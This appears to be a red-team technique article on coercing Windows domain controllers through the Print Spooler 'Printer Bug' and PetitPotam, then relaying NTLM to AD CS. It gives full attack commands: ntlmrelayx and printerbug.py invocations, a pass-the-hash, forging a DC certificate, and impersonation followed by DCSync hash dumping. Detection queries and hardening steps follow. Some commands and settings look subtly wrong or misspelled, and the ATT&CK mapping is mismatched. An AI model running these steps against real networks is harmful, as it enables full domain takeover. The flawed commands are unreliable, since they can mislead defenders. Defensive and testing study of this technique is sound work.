| Attribute | Details |
|---|---|
| Technique ID | PERSIST-BOOT-002 |
| MITRE ATT&CK v18.1 | T1547 - Boot or Logon Autostart Execution |
| Tactic | Persistence, Privilege Escalation, Lateral Movement |
| Platforms | Windows Active Directory, Windows Endpoint, Domain Controllers |
| Severity | Critical |
| CVE | CVE-2021-1678, CVE-2021-34527 (PrintNightmare - Related), CVE-2021-36942 (PetitPotam - Alternative) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2008 R2 - 2025 (unless Print Spooler disabled); Windows 7 - 11 |
| Patched In | N/A (Requires mitigation via Print Spooler service disable or NTLM relay hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Printer Bug is a coerced authentication vulnerability in the Windows Print Spooler service (spoolsv.exe) that allows an attacker with domain credentials to force a target system (including Domain Controllers) to authenticate to an arbitrary attacker-controlled host. The attacker exploits the MS-RPRN protocol (Print System Remote Protocol) by calling the RpcRemoteFindFirstPrinterChangeNotificationEx RPC function, passing a UNC path pointing to the attacker’s machine. The target system then initiates an authentication request containing its machine account NTLM credentials. By combining this forced authentication with NTLM relay attacks, an attacker can relay the authentication to Active Directory Certificate Services (AD CS), request a forged certificate as the target machine, and establish persistent domain admin access.
Attack Surface: The attack surface includes:
\pipe\spoolss over SMB (ports 139/445)RPC_UUID_RPRN)pszLocalMachine parameter, which can be set to an attacker-controlled IP/hostnameBusiness Impact: An attacker who successfully exploits the Printer Bug and relays the authentication to AD CS can obtain a valid domain controller certificate, enabling complete domain compromise. The attacker can:
Technical Context: The printer bug authentication is unauthenticated or low-privilege – any domain user can trigger it. The NTLM authentication exchange completes in 1-2 seconds. The attack is particularly dangerous on Domain Controllers because:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.1.19 (Print Spooler disabled) | Print Spooler should be disabled on servers not requiring printing. |
| DISA STIG | WN10-CC-000350 (Disable Print Spooler) | Print Spooler service must be disabled on domain controllers. |
| CISA SCuBA | Print Service Hardening | NTLM relay protections must be enabled on all authentication endpoints. |
| NIST 800-53 | IA-3 (Device Identification and Authentication), SC-7 (Boundary Protection) | Network services must require mutual authentication and be protected against relay attacks. |
| GDPR | Art. 32 (Security of Processing), Art. 33 (Breach Notification) | Failure to protect core infrastructure (AD CS) from known vulnerabilities is a data breach. |
| DORA | Art. 15 (Authentication and Access Control) | Critical financial systems must be protected against domain-wide compromise via certificate abuse. |
| NIS2 | Art. 21 (Cybersecurity Risk Management Measures) | Coerced authentication and relay attack mitigations must be implemented on critical systems. |
| ISO 27001 | A.9.1.2 (User Registration and De-registration), A.14.1.1 (Information Security Requirements Analysis) | Identity infrastructure must be protected against known attack vectors. |
| ISO 27005 | Risk Assessment - “Compromise of Certificate Authority” | AD CS compromise represents highest-risk threat scenario. |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Confirm the target has Print Spooler enabled (prerequisite for printer bug).
Command (PowerShell):
# Check Print Spooler service status on local system
Get-Service -Name Spooler | Select-Object Name, Status, StartType
# If output shows "Running" and "Automatic", the service is vulnerable
# Example output:
# Name Status StartType
# ---- ------ ---------
# Spooler Running Automatic
Command (Remote - via WMI):
# Check remote system's Print Spooler status (requires admin or specific permissions)
$targetHost = "192.168.1.100"
Get-Service -Name Spooler -ComputerName $targetHost | Select-Object Name, Status, StartType
What to Look For:
Status = Running → Vulnerable to printer bugStartType = Automatic → Service will restart after reboot (attacker can re-exploit)Stopped or Disabled → Printer bug attack will failObjective: Identify if AD CS is accessible and vulnerable to NTLM relay.
Command (PowerShell - Enumerate AD CS):
# Find AD CS servers in the domain
$configNC = ([ADSI]"LDAP://RootDSE").configurationNamingContext
$searcher = [ADSISearcher]"(&(objectClass=nTSecurityDescriptor)(cn=*ADCS*))"
$searcher.SearchRoot = "LDAP://$configNC"
$results = $searcher.FindAll()
foreach ($result in $results) {
Write-Host "Found CA: $($result.Properties.name)"
}
# Alternatively, check for certificate services object
Get-ADObject -Filter {Name -like "*ADCS*" -or Name -like "*CertificateAuthority*"} | Select-Object Name, DistinguishedName
Command (Bash - rpcdump to check RPC endpoints):
# Use rpcdump (from impacket) to enumerate RPC interfaces on target
python3 rpcdump.py 192.168.1.100 | grep -i "print\|spool\|rprn"
# Output indicates if MS-RPRN is exposed
Command (Test Web Enrollment - HTTP):
# Check if AD CS web enrollment is accessible
curl -v http://ca-server.corp.local/certsrv/
# If accessible, AD CS is a viable relay target
What to Look For:
Objective: Confirm attacker can intercept or relay NTLM traffic from target to AD CS.
Command (Check Network Routing - from attacker machine):
# Ensure attacker can route traffic from target to AD CS
tracert <target-dc-ip>
tracert <adcs-ip>
# Both should be reachable from attacker position
# If attacker is on same network segment or can perform MITM, printer bug is viable
Supported Versions: All Windows Server 2008 R2 - 2025 without mitigations
Prerequisite: Attacker has:
Objective: Start ntlmrelayx to intercept and relay the authentication to AD CS.
Command (Bash - on attacker machine):
# Start NTLM relay listening for SMB connections and relaying to AD CS HTTP
python3 ntlmrelayx.py \
-t http://ca-server.corp.local/certsrv/ \
-smb2support \
--adcs \
--template DomainController
# Output:
# [*] NTLM Relay Server listening on 0.0.0.0:445
# [*] Relaying to: http://ca-server.corp.local/certsrv/
# [*] ADCS Mode enabled
# [*] Template: DomainController
What This Means:
ntlmrelayx is now listening on port 445 (SMB) on the attacker’s machineDomainController template (if available)OpSec Note:
Objective: Force the target system to authenticate to the attacker-controlled relay server.
Command (Bash - on attacker machine, with domain credentials):
# Use printerbug.py to coerce the target to authenticate
python3 printerbug.py \
'CORP.LOCAL/attacker_user:password123' \
@192.168.1.50 \
192.168.1.99
# Parameters:
# CORP.LOCAL/attacker_user:password123 = domain credentials (any user)
# @192.168.1.50 = target DC (the system to coerce)
# 192.168.1.99 = attacker's relay server IP
# Output:
# [*] Attempting to trigger authentication via rprn RPC at 192.168.1.50
# [*] Bind OK
# [*] Got handle
# [*] Triggered RPC backconnect, this may or may not have worked
Alternative Command (Using Hash for Credentials - Pass-the-Hash):
# If you have NTLM hash instead of password
python3 printerbug.py \
-hashes 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' \
'CORP.LOCAL/attacker_user' \
@192.168.1.50 \
192.168.1.99
What This Means:
RpcRemoteFindFirstPrinterChangeNotificationEx on the target DCpszLocalMachine parameter is set to \\192.168.1.99 (attacker’s IP)Objective: Capture the issued certificate from the relay output.
Command (Monitor ntlmrelayx output):
# Watch the ntlmrelayx console output for certificate data
# Example output on successful relay:
# [*] Received connection from 192.168.1.50, attacking target http://ca-server.corp.local/certsrv/
# [*] NTLM Challenge: <challenge>
# [*] Sending NTLM Response
# [*] Relaying Credentials Upstream
# [*] Got valid NTLM response from 192.168.1.50
# [*] Request for certificate with template 'DomainController' from 'DC01$' succeeded
# [+] CERTIFICATE ISSUED:
# <BASE64 ENCODED CERTIFICATE>
What This Means:
Objective: Save the certificate and use it for domain admin access.
Command (Save certificate to file):
# Copy the BASE64 certificate from ntlmrelayx output
# Save to file
cat > dc_certificate.txt << 'EOF'
MIIDzTCCArWgAwIBAgIQSj6QY8bzUaAkKJqHfXDssDATBgNVBQMEDFNlcnZlckF1dGg...
(rest of BASE64 certificate)
EOF
# Decode from base64 and convert to PFX format
base64 -d dc_certificate.txt | openssl x509 -inform DER -outform PEM -out dc_certificate.pem
# Create PKCS#12 (PFX) file for use with authentication tools
openssl pkcs12 -export \
-in dc_certificate.pem \
-inkey <path-to-key> \
-out dc_certificate.pfx \
-passout pass:password
Alternative (If ntlmrelayx outputs cert directly):
# ntlmrelayx may save certificate automatically to a file
ls -la *.pfx
# Look for DC01.pfx or similar
Objective: Leverage the DC certificate to become domain admin.
Method A: S4U2Self Kerberos Abuse
# Use Impacket's getTGT with certificate
python3 getST.py \
-cert dc_certificate.pfx \
-pfx-password password \
-impersonate Administrator \
'CORP.LOCAL/DC01$' \
-k -no-pass
# This requests a TGT and ST for Administrator impersonation
# Output: Administrator.ccache (Kerberos ticket for domain admin)
Method B: DCSync Attack
# Once authenticated as the DC, use secretsdump to DCSync
python3 secretsdump.py \
-dc-ip 192.168.1.50 \
'CORP.LOCAL/DC01$:password' \
-outputfile domain_hashes
# Extracts all domain user hashes
What This Means:
Supported Versions: Windows Server 2016 - 2025 (without mitigations)
Prerequisite: Attacker can reach target without domain credentials (better than printer bug for unauthenticated scenarios).
python3 ntlmrelayx.py \
-t http://ca-server.corp.local/certsrv/ \
-smb2support \
--adcs \
--template DomainController
Objective: Force authentication without needing domain credentials.
Command (Bash):
# PetitPotam uses EfsRpcOpenFileRaw (MS-EFSRPC) instead of MS-RPRN
# This method works WITHOUT domain credentials
python3 PetitPotam.py \
192.168.1.99 \
192.168.1.50
# Parameters:
# 192.168.1.99 = attacker's relay server IP
# 192.168.1.50 = target DC
# Output:
# [*] Attempting to connect to 192.168.1.50
# [*] Calling EfsRpcOpenFileRaw
# [*] Triggering authentication...
What This Means:
Supported Versions: Windows Server 2016 - 2025 (if WebClient enabled)
Prerequisite: WebClient service running on target (allows relaying auth over HTTP instead of SMB).
# Relay to HTTP endpoint instead of SMB
python3 ntlmrelayx.py \
-t http://ca-server.corp.local/certsrv/ \
--web \
--adcs \
--template DomainController
# [*] HTTP Server listening on 0.0.0.0:80
# Coerce WebClient authentication by accessing a WebDAV endpoint on attacker's machine
# This requires a webshell or social engineering to make the target access a UNC path
# Example: User clicks a malicious link
# http://attacker.com/payload.exe -> \\attacker.com\share\payload.exe
# Once accessed, target authenticates via WebClient
# The authentication is relayed to AD CS
Test Environment: Lab domain with Domain Controller, CA Server, and attacker machine on same network.
Prerequisites:
Test Steps:
python3 ntlmrelayx.py -t http://ca-server:80/certsrv/ -smb2support --adcs --template DomainController
python3 printerbug.py 'CORP/lowuser:password' @192.168.1.50 192.168.1.99
[*] CERTIFICATE ISSUED: <BASE64 DATA>
Extract and save certificate
python3 getST.py -cert certificate.pfx -impersonate Administrator DC01$
python3 secretsdump.py -k -no-pass CORP/DC01$
Version: Latest from GitHub Supported Platforms: Linux, macOS (Python 3.x)
Installation:
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
pip install impacket
Usage:
python3 printerbug.py 'DOMAIN/USER:PASS' @TARGET_IP ATTACKER_IP
python3 printerbug.py -hashes LMHASH:NTHASH 'DOMAIN/USER' @TARGET_IP ATTACKER_IP
Version: Latest from impacket Supported Platforms: Linux, macOS
Installation:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -e .
Usage:
python3 ntlmrelayx.py -t http://ca-server/certsrv/ -smb2support --adcs --template DomainController
Version: Latest from GitHub Supported Platforms: Linux, macOS
Installation:
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
Usage:
python3 PetitPotam.py ATTACKER_IP TARGET_IP
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 5145 // Network Share Object accessed
| where ShareName has "spoolss"
| where TargoryAccess has "ReadData"
| extend ClientIP = IpAddress
| summarize
AccessCount = count(),
FirstAccess = min(TimeGenerated),
LastAccess = max(TimeGenerated)
by ClientIP, Computer
| where AccessCount > 3 // Multiple spoolss accesses in short time
Alternative: Sysmon RPC Event Detection
Event
| where Source == "Microsoft-Windows-Sysmon/Operational" and EventID == 3
| parse EventData with * '<Data Name="DestinationPort">' DestinationPort '</Data>' * '<Data Name="DestinationIp">' DestinationIp '</Data>' * '<Data Name="SourcePort">' SourcePort '</Data>' *
| where SourcePort == 445 or SourcePort == 139 // SMB port
| where EventData has "spoolss" or EventData has "rprn"
| extend TargetSystem = Computer
| summarize RPC_Calls = count() by TargetSystem, DestinationIp
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4887 // Certificate autoenrollment request succeeded
| where AccountName has "$" // Machine account (ends with $)
| where SubjectAltName has "dc=" or SubjectAltName has "CN="
| extend CertTemplate = parse_json(TargetInfo).CertificateTemplate
| where CertTemplate in ("DomainController", "DomainControllerAuthentication", "ServerAuthentication")
| project
TimeGenerated,
Computer,
AccountName,
CertTemplate,
RequesterUserName = InitiatedByAccount,
SubjectAltName
Rule Configuration:
SPL Query:
index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
DestinationPort=445 OR DestinationPort=139
(PipeName="spoolss" OR Image="*spoolsv.exe*")
| stats count as AccessCount by SourceIp, DestinationIp, Computer
| where AccessCount > 5
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:Security" EventCode=4887
CertificateTemplate="DomainController*" OR CertificateTemplate="DomainControllerAuthentication*"
NOT (User="NT AUTHORITY*" OR User="SYSTEM")
| stats count by User, CertificateTemplate, Computer
| where count > 0
Event ID: 5145 (Network Share Object accessed)
\pipe\spoolss named pipeEvent ID: 4887 (Certificate Services - Certificate Request Succeeded)
gpupdate /forceMinimum Sysmon Version: 13.0+
Sysmon Configuration Snippet:
<!-- Detect SMB pipe access to spoolss -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\Device\NamedPipe\spoolss</TargetFilename>
</FileCreate>
<!-- Detect spoolsv.exe initiating outbound connections -->
<NetworkConnect onmatch="include">
<Image>C:\Windows\System32\spoolsv.exe</Image>
<DestinationPort condition="is">445</DestinationPort>
<DestinationPort condition="is">139</DestinationPort>
</NetworkConnect>
<!-- Detect RPC calls to print spooler RPC interface -->
<ProcessCreate onmatch="include">
<ParentImage>C:\Windows\System32\spoolsv.exe</ParentImage>
</ProcessCreate>
sysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Objective: Eliminate the Printer Bug attack vector entirely.
Applies To: Domain Controllers (CRITICAL), Member Servers without printing needs
Manual Steps (PowerShell - Disable Service):
# Disable Print Spooler service
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Get-Service -Name Spooler
Manual Steps (Group Policy - Domain-Wide):
gpupdate /force on DCsObjective: Block NTLM relay attacks to Certificate Services.
Applies To: All Certificate Authority servers
Manual Steps (Registry - Enable EPA):
# Set EPA (Enhanced Protection for Authentication)
$caPath = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Parameters"
New-ItemProperty -Path $caPath -Name "RpcAuthnLevelPrivacyEnabled" -Value 1 -PropertyType DWord -Force
# Verify
Get-ItemProperty -Path $caPath -Name "RpcAuthnLevelPrivacyEnabled"
Manual Steps (Disable NTLM on AD CS - Enforce Kerberos):
# Disable NTLM authentication on CA
$caAuthPath = "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration"
Set-ItemProperty -Path $caAuthPath -Name "NTAuthPrviders" -Value "" # Remove NTLM
Objective: Prevent NTLM authentication relay from any source.
Manual Steps (Disable NTLM Signing/Sealing Bypass):
# Disable NTLMv1 and enforce NTLMv2 with signing
$policy = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
Set-ItemProperty -Path $policy -Name "LmCompatibilityLevel" -Value 5 # Enforce NTLMv2 only
# Force signing on all NTLM connections
Set-ItemProperty -Path $policy -Name "RestrictNTLMInDomain" -Value 1
Set-ItemProperty -Path $policy -Name "NTLMMinClientSec" -Value 0x20000000 # Require signing
# Verify
Get-ItemProperty -Path $policy | Select-Object LmCompatibilityLevel, RestrictNTLMInDomain
Manual Steps (Group Policy - Enforce NTLM Protections):
gpupdate /forceObjective: Alert on suspicious certificate issuance.
Manual Steps:
Objective: Add additional authentication barrier to certificate enrollment.
Manual Steps (Require Manager Approval):
Network Indicators:
Log Indicators:
Certificate Indicators:
Log Files:
Certificate Artifacts:
C:\Windows\System32\CertLog\certutil -view -out RawCertificate (enumerate certificates)Network Artifacts:
# Revoke the suspicious certificate
$certPath = "Cert:\LocalMachine\CA\<certificate-thumbprint>"
Remove-Item -Path $certPath
# Alternatively, use certutil
certutil -revoke <certificate-serial-number> 2
# Stop spooler service
Stop-Service -Name Spooler -Force
# Export certificate database for analysis
certutil -view -out RawCertificate > C:\Incident\certificate_db.txt
# Export security event logs
wevtutil epl Security C:\Incident\Security.evtx
# Collect Sysmon logs
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10000 | Export-Csv C:\Incident\Sysmon.csv
# Disable Print Spooler
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# Enable EPA on AD CS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Parameters" -Name "RpcAuthnLevelPrivacyEnabled" -Value 1
# Force NTLM v2
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal spearphishing campaigns | Attacker gains initial domain user credentials. |
| 2 | Reconnaissance | [REC-AD-003] PowerView enumeration | Attacker identifies domain controllers and AD CS. |
| 3 | Current Step | [PERSIST-BOOT-002] | Attacker uses Printer Bug + NTLM relay to obtain DC certificate. |
| 4 | Privilege Escalation | [PE-TOKEN-004] SIDHistory injection | Attacker uses certificate to forge admin credentials. |
| 5 | Credential Access | [CA-DUMP-006] NTDS.dit extraction | Attacker uses certificate to become DA and DCSync. |
| 6 | Impact | [IM-RANSOM-001] Ransomware deployment | Attacker uses domain admin access to spread ransomware. |